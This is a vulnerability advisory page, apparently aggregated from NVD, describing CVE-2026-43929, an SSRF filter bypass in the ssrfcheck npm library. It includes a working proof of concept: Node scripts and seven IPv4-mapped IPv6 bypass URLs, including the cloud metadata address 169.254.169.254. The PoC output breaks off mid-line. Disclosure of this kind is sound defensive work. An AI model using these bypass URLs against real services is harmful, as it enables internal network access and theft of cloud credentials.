🛡️ CVE-2026-43929 — ssrfcheck

🟠 CVSS 8.2 — High ✅ No Known Exploit CWE-184 NVD
8.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs

Summary

ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.

Details

Vulnerable file: src/is-private-ip.js

The library detects IPv6 private addresses using the privIp6() function. The relevant portion:

```js

// src/is-private-ip.js (lines ~40-60 of the published source)

function privIp6 (ip) {

return /^::$/.test(ip) ||

/^::1$/.test(ip) ||

/^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||

/^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||

/^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||

// ... more patterns, all expect dot-notation ...

}

```

The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.

How WHATWG URL normalizes the address (src/parse-url.js):

```js

const url = new URL(normalizeURLStr(input)); // WHATWG URL parser runs here

const ipcheck = trimBrackets(url.hostname); // e.g. '::ffff:7f00:1' ← hex, no dots

const ipVersion = isIP(ipcheck); // returns 6

```

The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:

```

127.0.0.1 → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1

169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe

192.168.1.1 → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101

```

So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).

Entry point (src/index.js):

```js

if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {

return false; // ← never reached for IPv4-mapped IPv6

}

return true; // ← always reached → BYPASS

```

PoC

Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.

Setup:

```bash

mkdir ssrfcheck-poc && cd ssrfcheck-poc

npm init -y

npm install ssrfcheck

```

Step 1 — confirm WHATWG URL normalization:

```bash

node << 'EOF'

const addrs = [

['127.0.0.1', 'loopback'],

['169.254.169.254', 'AWS/GCP/Azure metadata'],

['192.168.1.1', 'private LAN'],

['10.0.0.1', '10.x range'],

];

for (const [ip, label] of addrs) {

const h = new URL('http://[::ffff:' + ip + ']/').hostname;

console.log(label + ' -> ' + h);

}

EOF

```

Expected output — confirms WHATWG drops dots:

```

loopback -> [::ffff:7f00:1]

AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]

private LAN -> [::ffff:c0a8:101]

10.x range -> [::ffff:a00:1]

```

Step 2 — trigger the bypass:

```bash

node << 'EOF'

const { isSSRFSafeURL } = require('ssrfcheck');

const bypasses = [

'http://[::ffff:127.0.0.1]/',

'http://[::ffff:169.254.169.254]/',

'http://[::ffff:192.168.1.1]/',

'http://[::ffff:10.0.0.1]/',

'http://[::ffff:172.16.0.1]/',

'http://[::ffff:7f00:1]/',

'http://[0:0:0:0:0:ffff:127.0.0.1]/',

];

for (const url of bypasses) {

const result = isSSRFSafeURL(url);

console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);

}

console.log('---');

const r1 = isSSRFSafeURL('http://127.0.0.1/');

const r2 = isSSRFSafeURL('http://192.168.1.1/');

const r3 = isSSRFSafeURL('http://[::1]/');

console.log('127.0.0.1 caught?', r1 === false);

console.log('192.168.1.1 caught?', r2 === false);

console.log('[::1] caught?', r3 === false);

EOF

```

Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):

```

[BYPASS] http://[::ffff:127.0.0.1]/ -> true

[BYPASS] http://[::ffff:169.254.169.254]/ -> true

[BYPASS] http://[::ffff:192.168.1.1]/ -> true

[BYPASS] http://[::ffff:10.0.0.1]/ -> true

[BYPASS] http://[::ffff:172.16.0.1]/ -> true

[BYPASS] http://[::ffff:7f00:1]/ -> true

[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/ -> true

127.0.0.1 caught? true

192.168.1.1 caught? true

[::1] caught? t

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.

Affected software

CVE-2026-43929 is recorded against 2 packages.

  • ssrfcheck
  • unknown

Timeline and source

Published on 5 May 2026 and last revised on 13 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.2
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CWE CWE-184
Public Exploit ✅ No
Source NVD
Published 2026-05-05
Updated 2026-08-12
Modified 2026-05-13
Fix URL N/A

Affected Packages

Software From version Fixed in
ssrfcheck
unknown

Similar Threats

Site Security Check

Is ssrfcheck part of your stack?

CVE-2026-43929 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.